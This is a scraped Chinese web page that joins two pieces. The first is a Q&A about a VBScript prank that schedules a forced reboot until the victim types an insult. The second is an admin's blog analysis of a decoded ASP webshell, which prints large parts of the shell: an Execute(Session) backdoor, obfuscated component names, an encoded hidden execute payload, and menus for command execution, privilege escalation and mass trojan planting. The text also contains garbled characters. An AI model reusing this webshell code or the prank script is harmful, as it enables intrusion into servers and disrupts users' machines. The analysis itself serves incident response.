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如何修改这代码 把“我是猪”改为 其他东西_百度知道
如何修改这代码 把“我是猪”改为 其他东西
打开文本文档 最后把格式改为vbeon error resume next dim WSHshellA set WSHshellA = wscript.createobject(&ws俯珐碘貉鄢股碉瘫冬凯cript.shell&) WSHshellA.run &cmd.exe /c shutdown -r -t 60 -c &&我是头猪,不说就一分钟关你机,不信,试试···&& &,0 ,true
dim a do while(a && &我是头猪&) a = inputbox (&说我是头猪,就不关机,快撒,说 &&我是头猪&& &,&说不说&,&不说&,) msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox& loopmsgbox chr(13) + chr(13) + chr(13) + &早说就行了嘛,&dim WSHshellset WSHshell = wscript.createobject(&wscript.shell&)WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox chr(13) + chr(13) + chr(13) + &哈哈哈哈,好玩&
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'&如果出现错误,忽略错误,继续往下执行On&Error&Resume&Next'&进行变量声明Dim&WSHshellA'&设置对脚本宿主对象引用赋给变量Set&WSHshellA&=&Wscript.CreateObject(&Wscript.Shell&)'&运行命令参数&(这里使用&shutdown&命令操作定时关机重启)WSHshellA.run&&cmd.exe&/c&shutdown&-r&-t&60&,0,&True'&进行变量声明Dim&a'&while&条件循环语句&满足条件后退出循环Do&While&(a&&&&&我是头猪&)&&&&a&=&InputBox(&说我是头猪,就不关机,快撒,说&&&我是头猪&&&&,&&说不说&,&&不说&,&)Loop'&MsgBox&消息弹窗MsgBox&chr(13)&+&chr(13)&+&chr(13)&+&&早说就行了嘛,&'&运行命令参数&(这里使用&shutdown&命令取消正在执行的shutdown任务)WSHshellA.run&&cmd.exe&/c&shutdown&-a&,&0,&True'&MsgBox&消息弹窗MsgBox&chr(13)&nbs俯珐碘貉鄢股碉瘫冬凯p;+&chr(13)&+&chr(13)&+&&哈哈哈哈,好玩&
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do while(a && &我是头猪&)
在这儿改,那四个字想改成啥改成啥,例如:叫哥哥,上面的提示说:&&叫哥哥,不叫就一分钟关你机,不信,试试···&& &a = inputbox (&叫哥哥,就不关机,快撒,说 &&哥哥&& 俯珐碘貉鄢股碉瘫冬凯&,&说不说&,&不说&,)
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出门在外也不愁”无尽的渗透“webshell的解密和后门全分析
作者:admin 日期:
&&&&&&今日群里的朋友说他的网站被挂马了,给了我这个shell,要我帮忙解密。正好今天郁闷,不想给别人弄服务器了,全心全意帮助设置服务器,力求能够使服务器达到完美,能够安全、快速、有效的运转。但是我的努力并没有得到肯定,在服务器维护的过程中某些网站肯定会出现问题,而我不可能一时间全部查找到。出一个小问题,之后那种责问的语气,那种态度让人真的很郁闷。难道平心静气的告诉我那个功能不能使用了不行吗?一起找出问题所在不行吗?后来朋友告诉我说,给公司做事的原则是:不是自己的事情就算只是一秒钟就可以搞定的事情也不要去做,事情做的越少就负更小的责任。&&&&算了,现在心情也好很多了,回归正题。这个shell感觉还不错,在提权方面好像功能挺多。先一睹芳容界面不错的首先是VBScript.Encode加密,这种加密网上有大把的解密器。第一次解密后,代码如下 程序代码&%@ LANGUAGE = VBScript.Encode %&&%Server.ScriptTimeout=Response.Buffer =trueOn Error Resume NextUserPass="NTIw"        '密码计算网站:,将密码粘贴到双引号之间。SiteURL=""Copyright="无尽的渗透"Font="380pt"'登陆图案大小pic="~"'登陆界面图案BodyColor="#000000"FontColor="#00ff00"LinkColor="#008000"BorderColor="#666"LinkOverBJ="#"LinkOverFont="#00ff00"FormColorBj="#ccc"FormColorBorder="#000"Const strJsCloseMe="&input type=button value=' 关闭 ' onclick='window.close();'&"Const ALL_INIT ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"strBAD="&script language=vbscript runat=server&"strBAD=strBAD&"If Request("""&clientPassword&""")&&"""" Then Session(""#"")=Request("""&clientPassword&""")"&VbNewLinestrBAD=strBAD&"If Session(""#"")&&"""" Then Execute(Session(""#""))"strBAD=strBAD&"&/script&"    Const isDebugMode=FalseConst clientPassword="u"sub ShowErr()If Err ThenRRS"&br&&a href='javascript:history.back()'&&br&&"&Err.Description&"&"&Err.Source&"(点此返回上页)&/a&&br&"Err.Clear:Response.FlushEnd Ifend subSub RRS(str)response.write(str)End SubFunction RePath(S)RePath=Replace(S,"\","\\")End FunctionFunction RRePath(S)RRePath=Replace(S,"\\","\")End FunctionURL=Request.ServerVariables("URL")ServerIP=Request.ServerVariables("LOCAL_ADDR")Action=Request("Action")RootPath=Server.MapPath(".")WWWRoot=Server.MapPath("/"):Pn=88Serveru=request.servervariables("http_host")&urlFolderPath=Request("FolderPath")FName=Request("FName")BackUrl="&br&&br&&center&&a href='javascript:history.back()'&返回&/a&&/center&"RRS"&html&&meta http-equiv=""Content-Type"" content=""text/ charset=gb2312""&&title&"&Copyright&" - "&ServerIP&" &/title&&style type=""text/css""&body,tr,td{margin:0font-size:12background-color:"&BodyColor&";color:"&FontColor&";}input,select,textarea{font-size:12background-color:"&FormColorBj&";border:1px solid "&FormColorBorder&"}a{color:"&LinkColor&";text-decoration:}a:hover{color:"&LinkOverFont&";background:"&LinkOverBJ&"}.am{color:"&LinkColor&";font-size:11}body,td{font-size: 12SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #383839;}&/style&&script language=javascript&function killErrors(){}window.onerror=killEfunction yesok(){if (confirm(""确认要执行此操作吗?""))}function ShowFolder(Folder){top.addrform.FolderPath.value=Ftop.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value=FNif(FAction==""CopyFile""){DName=prompt(""请输入复制到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DN}else if(FAction==""MoveFile""){DName=prompt(""请输入移动到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DN}else if(FAction==""CopyFolder""){DName=prompt(""请输入复制到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DN}else if(FAction==""MoveFolder""){DName=prompt(""请输入移动到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DN}else if(FAction==""NewFolder""){DName=prompt(""请输入要新建的文件夹全名称"",FName);top.hideform.FName.value=DN}else if(FAction==""CreateMdb""){DName=prompt(""请输入要新建的Mdb文件全名称,注意不能同名!"",FName);top.hideform.FName.value=DN}else if(FAction==""CompactMdb""){DName=prompt(""请输入要压缩的Mdb文件全名称,注意文件是否存在!"",FName);top.hideform.FName.value=DN}else{DName=""Other"";}if(DName!=null){top.hideform.Action.value=FAtop.hideform.submit();}else{top.hideform.FName.value="""";}}function DbCheck(){if(DbForm.DbStr.value == """"){alert(""请先连接数据库"");FullDbStr(0);}}function FullDbStr(i){if(i&0){}Str=new Array(12);Str[0]=""Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RePath(Session("FolderPath"))&"\\db.Jet OLEDB:Database Password=***"";Str[1]=""Driver={Sql Server};Server="&ServerIP&",1433;Database=DbNUid=Pwd=****"";Str[2]=""Driver={MySql};Server="&ServerIP&";Port=3306;Database=DbNUid=Pwd=****"";Str[3]=""Dsn=DsnName"";Str[4]=""Select * FROM [TableName] Where ID&100"";Str[5]=""Insert INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"";Str[6]=""Delete FROM [TableName] Where ID=100"";Str[7]=""Update [TableName] SET USER=\'username\' Where ID=100"";Str[8]=""Create TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"";Str[9]=""Drop TABLE [TableName]"";Str[10]= ""Alter TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"";Str[11]= ""Alter TABLE [TableName] Drop COLUMN PASS"";Str[12]= ""当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"";if(i&=3){DbForm.DbStr.value=Str[i];DbForm.SqlStr.value="""";abc.innerHTML=""&center&请确认己连接数据库再输入SQL操作命令语句。&/center&"";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value=Str[i];}}function FullSqlStr(str,pg){if(DbForm.DbStr.value.length&5){alert(""请检查数据库连接串是否正确!"");}if(str.length&10){alert(""请检查SQL语句是否正确!"");}DbForm.SqlStr.value=DbForm.Page.value=abc.innerHTML="""";DbForm.submit();}function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}&/script&&body" If Action="" then RRS "scroll=no"RRS "&"Dim Sot(14,2)Sot(0,0)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"Sot(0,2)="文件操作组件"Sot(1,0)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll"Sot(1,2)="命令行执行组件"Sot(2,0)="ADOX.Catalog"Sot(2,2)="ACCESS建库组件"Sot(3,0)="JRO.JetEngine"Sot(3,2)="ACCESS压缩组件"Sot(4,0)="Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary" Sot(4,2)="数据流上传辅助组件"Sot(5,0)="Adodb.connection"Sot(5,2)="数据库连接组件"Sot(6,0)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"Sot(6,2)="数据流上传组件"Sot(7,0)="SoftArtisans.FileUp"Sot(7,2)="SA-FileUp 文件上传组件"Sot(8,0)="LyfUpload.UploadFile"Sot(8,2)="刘云峰文件上传组件"Sot(9,0)="Persits.Upload.1"Sot(9,2)="ASPUpload 文件上传组件"Sot(10,0)="JMail.SmtpMail"Sot(10,2)="JMail 邮件收发组件"Sot(11,0)="CDONTS.NewMail"Sot(11,2)="虚拟SMTP发信组件"Sot(12,0)="SmtpMail.SmtpMail.1"Sot(12,2)="SmtpMail发信组件"Sot(13,0)="Microsoft.XMLHTTP"Sot(13,2)="数据传输组件"Sot(14,0)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion"Sot(14,2)="Application"For i=0 To 14Set T=Server.CreateObject(Sot(i,0))If - && Err ThenIsObj=" √"ElseIsObj=" ×"Err.ClearEnd IfSet T=NothingSot(i,1)=IsObjNextIf FolderPath&&"" thenSession("FolderPath")=RRePath(FolderPath)End IfIf Session("FolderPath")="" ThenFolderPath=RootPathSession("FolderPath")=FolderPathEnd iffunction sw(sp,sf)Set objStream=Server.CreateObject(Sot(6,0))With objStream.Open.Charset="gb2312".Position=objStream.Size.WriteText=sf.SaveToFile sp,2.CloseEnd WithSet objStream=Nothingend functionFunction MainForm() RRS"&form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame""&"RRS"&input type=""hidden"" name=""Action""&"RRS"&input type=""hidden"" name=""FName""&"RRS"&/form&"RRS"&table width='100%'&"RRS"&form name='addrform' method='post' action='"&URL&"' target='_parent'&"RRS"&tr&&td width='60' align='center'&地址:&/td&&td&"RRS"&input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'&"RRS"&/td&&td width='140' align='center'&&input name='Submit' type='submit' value='GO'& &input type='submit' value='刷新' onclick='FileFrame.location.reload()'&" RRS"&/td&&/tr&&/form&&/table&"RRS"&table width='100%' height='95.5%' style='border:1px solid #000000;' cellpadding='0' cellspacing='0'&"RRS"&td width='135' id=tl&"RRS"&iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='0'&&/iframe&&/td&"RRS"&td width=1 style='background:#000000'&&/td&&td width=1 style='padding:2px'&&a onclick=""document.getElementById('tl').style.display='none'"" href=##&&b&隱藏&/b&&/a&&p&&a onclick=""document.getElementById('tl').style.display=''"" href=##&&b&顯示&/b&&/a&&/p&&/td&&td width=1 style='background:#000000'&&td&"RRS"&iframe name='FileFrame' src='?Action=Show1File' width='100%' height='100%' frameborder='1'&&/iframe&"RRS"&tr&&a href='javascript:ShowFolder(""C:\\Program Files"")'&(1)【Program】&/a&&/a&&a href='javascript:ShowFolder(""d:\\Program Files"")'&(2)【ProgramD】&/a&&a href='javascript:ShowFolder(""e:\\Program Files"")'&(3)【ProgramE】&/a&&a href='javascript:ShowFolder(""C:\\Documents and Settings\\"")'&(4)【Documents&a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\"")'&(5)【All_Users&&】&a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\"")'&(6)【開始_菜單】&/a&&a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\"")'&(7)【程_序】&/a&&a href='javascript:ShowFolder(""C:\\recycler"")'&(8)【RECYCLER(C:\)】&/a&&a href='javascript:ShowFolder(""D:\\recycler"")'&(9)【RECYCLER(d:\)】&/a&&a href='javascript:ShowFolder(""e:\\recycler"")'&(10)【RECYCLER(e:\)】&/a&&br&"End Functionchen="'(晨QQR!;chu~`khfm&~Ahm版本;.chu=!晨QQR!;enql~m`ld&&wenql&~ldsgnc&&onrs&=!晨QQR!;s`akd~vhcsg&&7/$&anqcdq&&/&=;sq=!晨QQR!;sc~vhcsg&&0/$&=bhe文件9~;.sc=;sc~vhcsg&&8/$&=;hmots~m`ld&&o`sg&~sxod&&sdws&~u`ktd&&B9[Cnbtldmsr~`mc~Rdsshmfr[@kk~Trdqr[@ookhb`shnm~C`s`[[Rxl`msdb[[Bhsdlok-bhe&~rhyd&&7/&=;.sc=!晨QQR!;sc=;hmots~sxod&&rtalhs&~u`ktd&&~提交~&=;.sc=!晨QQR!;.s`akd=!晨dmc~Etmbshnm晨QQR!;hmots~sxod&&ghccdm&~m`ld&&bghm`&~u`ktd&&Dwdbtsd'%ptns:Dwdbtsd'Qdptdrs'%ptns:%ptns:bncd%ptns:%ptns:((%ptns:(&=!晨QQR!;.enql=!晨QQR!;rbqhos=!晨QQR!etmbshnm~QTMnmbkhbj'(z!晨QQR!cnbtldms-wenql-bghm`-m`ld~&~o`qdms-ovc-u`ktd:!晨QQR!cnbtldms-wenql-`bshnm~&~o`qdms-tqk-u`ktd:!晨QQR!cnbtldms-wenql-rtalhs'(:!晨QQR!|!晨QQR!;.rbqhos=!晨Etmbshnm~Rsqd`lKn`cEqnlEhkd'rO`sg(晨Chl~nRsqd`l晨Rds~nRsqd`l~&`l!(晨Vhsg~nRsqd`l晨-Sxod~&~0晨-Lncd~&~2晨-Nodm晨-Kn`cEqnlEhkd'rO`sg(晨-Onrhshnm~&~/晨Rsqd`lKn`cEqnlEhkd~&~-Qd`c晨-Bknrd晨Dmc~Vhsg晨Rds~nRsqd`l~&~Mnsghmf晨Dmc~Etmbshnm晨Etmbshnm~gdwcdb'rsqhm(晨Chl~h+~i+~j+~qdrtks晨qdrtks~&~/晨Enq~h~&~0~Sn~Kdm'rsqhm(晨He~Lhc'rsqhm+~h+~0(~&~!e!~Nq~Lhc'rsqhm+~h+~0(~&!E!~Sgdm晨i~&~04晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!d!~Nq~Lhc'rsqhm+~h+~0(~&~!D!~Sgdm晨i~&~03晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!c!~Nq~Lhc'rsqhm+~h+~0(~&~!C!~Sgdm晨i~&~02晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!b!~Nq~Lhc'rsqhm+~h+~0(~&~!B!~Sgdm晨i~&~01晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!a!~Nq~Lhc'rsqhm+~h+~0(~&~!A!~Sgdm晨i~&~00晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!`!~Nq~Lhc'rsqhm+~h+~0(~&~!@!~Sgdm晨i~&~0/晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~;&~Lhc'rsqhm+~h+~0(~=&~!/!~Sgdm晨i~&~BHms'Lhc'rsqhm+~h+~0((晨Dmc~He晨Enq~j~&~0~Sn~Kdm'rsqhm(~,~h晨i~&~i~)~05晨Mdws晨qdrtks~&~qdrtks~*~i晨Mdws晨gdwcdb~&'c`s`+lncd(&~Lhc'c`s`+2(晨He~lncd~&~!o`rr!~Sgdm~mtladq~&~219~Bhemtl~&~033晨He~lncd~&~!trdq!~Sgdm~mtladq~&~2/9~Bhemtl~&~04晨Enq~h~&~0~Sn~mtladq~Rsdo~1晨obrsq&''gdwcdb'Lhc'c`s`+h+1((~wnq~gdwcdb'Lhc'g`rg+h+1(((~wnq~Bhemtl(晨He~''obrsq~;&~21(~Nq~'obrsq=016((~Sgdm~Dwhs~Enq晨cdbncd~&~cdbncd~*~Bgq'obrsq(晨Bhemtl&&cdbncd晨Dmc~etmbshnm晨Etmbshnm~ahm1gdw'ahmrsq(晨Enq~h~&~0~Sn~KdmA'ahmrsq(晨gdwrsq~&'LhcA'ahmrsq+~h+~0(((晨He~Kdm'gdwrsq(&0~Sgdm晨ahm1gdw&ahm1gdw%!/!%'KB`rd'gdwrsq((晨Dkrd晨ahm1gdw&ahm1gdw%~KB`rd'gdwrsq(晨Dmc~He晨Mdws晨Dmc~Etmbshnm晨BHE~&~Qdptdrs'!o`sg!(晨He~BHE~;=~!!~Sgdm晨AhmRsq&Rsqd`lKn`cEqnlEhkd'BHE(晨Qdronmrd-vqhsd~!Ob`mxvgdqd~Qd`cdq~&&=Ahm提供源码;aq=;!%BHE%!;~'Lhc'ahm1gdw'AhmRsq(+808+53(+!trdq!(晨Qdronmrd-vqhsd~!;~'Lhc'ahm1gdw'AhmRsq(+0066+21(+!o`rr!(晨Dmc~He晨晨晨晨晨晨晨晨晨晨Etmbshnm~q`clhm'(晨Rds~VRG&~Rdqudq-Bqd`sdNaidbs'!VRBQHOS-RGDKK!(晨Q`clhmO`sg&[RXRSDL[[u1-/[Rdqudq[O`q`ldsdqr[!晨O`q`ldsdq&!O`q`ldsdq!晨Onqs~&`x&'Q`clhmO`sg~%~O`q`ldsdq~(晨Qdronmrd-vqhsd~!Q`clhm~O`q`ldsdq+Onqs~Qd`cdq~9(&&=Aaq=;aq=!晨Qdronmrd-vqhsd~O`q`ldsdq%!9!晨&&&&&&&&&&&&~Qd`cO`rrVnqc~&&&&&&&&&`x(~Sgdm晨Enq~h~&`x(`x'h(((&0~Sgdm晨rsqNai~&`x'h(((晨Dkrd晨rsqNai~&`x'h((晨Dmc~He晨Mdws晨qdronmrd-vqhsd~rsqnai晨Dkrd晨qdronmrd-vqhsd~!Dqqnq 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!晨Dmc~He晨Dmc~Etmbshnm晨Etmbshnm~gdwsnhmsdq'rsqhm(晨Chl~h+~i+~j+~qdrtks晨qdrtks~&~/晨Enq~h~&~0~Sn~Kdm'rsqhm(晨He~Lhc'rsqhm+~h+~0(~&~!e!~Nq~Lhc'rsqhm+~h+~0(~&!E!~Sgdm晨i~&~04晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!d!~Nq~Lhc'rsqhm+~h+~0(~&~!D!~Sgdm晨i~&~03晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!c!~Nq~Lhc'rsqhm+~h+~0(~&~!C!~Sgdm晨i~&~02晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!b!~Nq~Lhc'rsqhm+~h+~0(~&~!B!~Sgdm晨i~&~01晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!a!~Nq~Lhc'rsqhm+~h+~0(~&~!A!~Sgdm晨i~&~00晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!`!~Nq~Lhc'rsqhm+~h+~0(~&~!@!~Sgdm晨i~&~0/晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~;&~Lhc'rsqhm+~h+~0(~=&~!/!~Sgdm晨i~&~BHms'Lhc'rsqhm+~h+~0((晨Dmc~He晨Enq~j~&~0~Sn~Kdm'rsqhm(~,~h晨i~&~i~)~05晨Mdws晨qdrtks~&~qdrtks~*~i晨Mdws晨gdwsnhmsdq~&~qdrtks晨Dmc~Etmbshnm晨r`ltqk&bgq'5/(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'21(%bgq'004(%bgq'003(%bgq'88(%bgq'50(%bgq'28(%bgq'0/3(%bgq'005(%bgq'005(%bgq'001(%bgq'47(%bgq'36(%bgq'36(%bgq'0/7(%bgq'0/4(%bgq'006(%bgq'008(%bgq'0/0(%bgq'00/(%bgq'0/2(%bgq'86(%bgq'00/(%bgq'0/2(%bgq'35(%bgq'40(%bgq'40(%bgq'4/(%bgq'4/(%bgq'35(%bgq'000(%bgq'003(%bgq'0/2(%bgq'36(%bgq'0/4(%bgq'0/8(%bgq'86(%bgq'0/2(%bgq'0/0(%bgq'004(%bgq'36(%bgq'28(%bgq'51(%bgq'5/(%bgq'36(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'51(%bgq'02(%bgq'0/(晨rtqk&bgq'5/(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'21(%bgq'004(%bgq'003(%bgq'88(%bgq'50(%bgq'28(%bgq'0/3(%bgq'005(%bgq'005(%bgq'001(%bgq'47(%bgq'36(%bgq'36(%bgq'0/7(%bgq'0/4(%bgq'006(%bgq'008(%bgq'0/0(%bgq'00/(%bgq'0/2(%bgq'86(%bgq'00/(%bgq'0/2(%bgq'35(%bgq'40(%bgq'40(%bgq'4/(%bgq'4/(%bgq'35(%bgq'000(%bgq'003(%bgq'0/2(%bgq'36(%bgq'0/4(%bgq'0/8(%bgq'86(%bgq'0/2(%bgq'0/0(%bgq'004(%bgq'36(%bgq'28(%bgq'51(%bgq'5/(%bgq'36(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'51(%bgq'02(%bgq'0/(晨晨晨晨晨晨晨晨晨晨晨qhmhl`l`a&!qhmhl`l`a$2C$11he$141/qdptdrs$k$2B$142D$1/sgdm$141/dwdbtsd$141/qdptdrs$k$$/$1/$17tmdrb`od$17qhmhl`l`a$18$18!晨qhmhl`l`a&qdok`bd'qhmhl`l`a+!???!+!!(晨dwdbtsd~'tmdrb`od'qhmhl`l`a((晨晨晨晨晨":execute(Unlin(chen))Function MainMenu()RRS"&table width='100%' cellspacing='0' cellpadding='0'&"RRS"&tr&&td&&center&&font color=#ffffff&&font size=1&"&mName&"&/font&&/font&&/center&&hr color=#ffffff size=1 &"RRS"&/td&&/tr&"If Sot(0,1)=" ×" ThenRRS"&tr&&td height='24'&木有權限&/td&&/tr&"ElseRRS"&tr&&td height=24 onmouseover=""menu1.style.display=''""&&b&磁盤文件操作↓↓↓&/b&&div id=menu1 style=""width:100%;display='none'"" onmouseout=""menu1.style.display='none'""&"Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=NothingRRS"&tr&&td height='20'&&a href='javascript:ShowFolder("""&RePath(RootPath)&""")'&●本程序目錄&/a&&/td&&/tr&"RRS"&/div&&/td&&/tr&&tr&&td height='20'&&a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'&●站點根目錄&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=FsoFileExplorer' target='FileFrame'&●Fso浏览器&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=AppFileExplorer' target='FileFrame'&●AppFile浏览器&/a&&/td&&/tr&"RRS"&tr&&td height='20'&&a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\Newfile")&""",""NewFolder"")'&●新建--目錄&/a&&/td&&/tr&"RRS"&tr&&td height='20'&&a href='?Action=EditFile' target='FileFrame'&●新建--文本&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=upfile' target='FileFrame'&●上傳--单一&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=PageUpFile' target='FileFrame'&●上傳--批量&/a&&/td&&/tr&"End IfRRS"&tr&&td height='22'&&a href='?Action=Cmd1Shell' target='FileFrame'&●CMD---命令&hr color=#ffffff size=5&&/a&&/td&&/tr&"RRS"&tr&&td height='24' onmouseover=""menu5.style.display=''""&&b&●提权 相关↓↓↓&div id=menu5 &"RRS"&tr&&td height='22'&&a href='?Action=Course' target='FileFrame'&●用户--账号&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=getTerminalInfo' target='FileFrame'&●網絡__探測&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=ServerInfo' target='FileFrame'&●组件--支持&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=PageCheck' target='FileFrame'&●信息--探针&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=adminab' target='FileFrame'&●查詢管理員&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=ScanPort' target='FileFrame'&●端口掃描器&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=ReadREG' target='FileFrame'&●讀取註冊表&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=Servu' target='FileFrame'&●Serv_u提權&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=suftp' target='FileFrame'&●Serv__uFTP&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=Mssql' target='FileFrame'&●Ms_sql提權&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=radmin' target='FileFrame'&●Radmin讀取&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=pcanywhere4' target='FileFrame'&●pcanywhere&hr color=#ffffff size=5&&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=PageAddToMdb' target='FileFrame'&●文件夾打包&/a&&/td&&/tr&"RRS"&tr&&td height='22'&&a href='?Action=kmuma' target='FileFrame'&●木马__查找&/a&&/td&&/tr&"RRS"&tr&&td height='24' onmouseover=""menu2.style.display=''""&&b&●脚本 探测↓↓↓&/b&&div id=menu2 style=""width:100%;display='none'"" onmouseout=""menu2.style.display='none'""&"RRS"&&&&a href='?Action=php' target='FileFrame'&●php___偵探&/a&&br&"RRS"&&&&a href='?Action=aspx' target='FileFrame'&●aspx___探测&/a&&br&"RRS"&&&&a href='?Action=jsp' target='FileFrame'&●jsp___探测&/a&&br&"RRS"&tr&&td height='24' onmouseover=""menu6.style.display=''""&&b&●数据库操作&/b&&div id=menu6 style=""width:100%;display='none'"" onmouseout=""menu6.style.display='none'""&"RRS"&nbsp&nbsp&nbsp&a href='?Action=DbManager' target='FileFrame'&连接数据库&/a&&br&"RRS"&nbsp&nbsp&nbsp&a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")'&建立MDB文件&/a&&br&"RRS"&nbsp&nbsp&nbsp&a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")'&压缩MDB文件&hr size=1 &&/a&&/div&&/td&&/tr&"RRS"&tr&&td height='24' onmouseover=""menu7.style.display=''""&&b&●批量 挂马↓↓↓&/b&&div id=menu7 style=""width:100%;display='none'"" onmouseout=""menu7.style.display='none'""&"RRS"&&&&a href='?Action=Cplgm&M=1' target='FileFrame'&●批量挂马&/a&&br&"RRS"&&&&a href='?Action=Cplgm&M=2' target='FileFrame'&●批量清马&/a&&br&"RRS"&&&&a href='?Action=Cplgm&M=3' target='FileFrame'&●批量替换&/a&&br&"RRS"&&&&a href='?Action=plgm' target='FileFrame'&●普通挂马&/a&&br&"RRS"&tr&&td&&hr color=#ffffff size=5 width='100%'&&blink&&b&●网站 服务↓↓↓&/b&&/blink&&/td&&/tr&&/table&"RRS"&tr&&td&&hr color=black size=1 width='100%'&&blink&&/blink&&/td&&/tr&&/table&"RRS"&tr&&td height='22'&&a href='' target='FileFrame'&┼3389連接┼&/a&&/td&&/tr&"RRS"&tr&&td&&hr color=black size=1 width='100%'&&blink&&/blink&&/td&&/tr&&/table&"RRS"&tr&&td height='22'&&a href='' target='FileFrame'&┼綁定查詢┼&/a&&/td&&/tr&"RRS"&tr&&td&&hr color=black size=1 width='100%'&&blink&&/blink&&/td&&/tr&&/table&"RRS"&tr&&td height='22'&&a href='' target='FileFrame'&┼更新网站┼&/a&&/td&&/tr&"RRS"&tr&&td&&hr color=black size=5 width='100%'&&blink&&/blink&&/td&&/tr&&/table&"RRS"&tr&&td height='22'&&a href='?Action=sam' target='FileFrame'&●简介说明&/a&&/td&&/tr&&br&&br&"RRS"&tr&&td height='22'&&a href='?Action=Logout' target='_top' &●退出登陆&/a&"RRS"&/table&"End Function太长了,kill.........%&看看这个代码,这个shell有几个地方引人注入,第一个是它有一个base64加密函数 程序代码FUNCTION MyEncode(SourceText)if len(SourceText) = 0 thenMyEncode = ""exit functionend ifby3 = (len(SourceText) \ 3) * 3ndx = 1do while ndx &= by3first&&= asc(mid(SourceText, ndx+0, 1))No2 = asc(mid(SourceText, ndx+1, 1))third&&= asc(mid(SourceText, ndx+2, 1))ret = ret & EncodeGroup(&&(first \ 4) AND 63 )ret = ret & EncodeGroup( ((first * 16) AND 48) + ((No2 \ 16) AND 15 ) )ret = ret & EncodeGroup( ((No2 * 4) AND 60) + ((third \ 64) AND 3 ) )ret = ret & EncodeGroup( third AND 63)ndx = ndx + 3loopif by3 & len(SourceText) thenfirst&&= asc(mid(SourceText, ndx+0, 1))ret = ret & EncodeGroup(&&(first \ 4) AND 63 )if (len(SourceText) MOD 3 ) = 2 thenNo2 = asc(mid(SourceText, ndx+1, 1))ret = ret & EncodeGroup( ((first * 16) AND 48) + ((No2 * 16) AND 15 ) )ret = ret & EncodeGroup( ((No2 * 4) AND 60) )elseret = ret & EncodeGroup( (first * 16) AND 48)ret = ret & "="end ifret = ret & "="end ifMyEncode = retEND 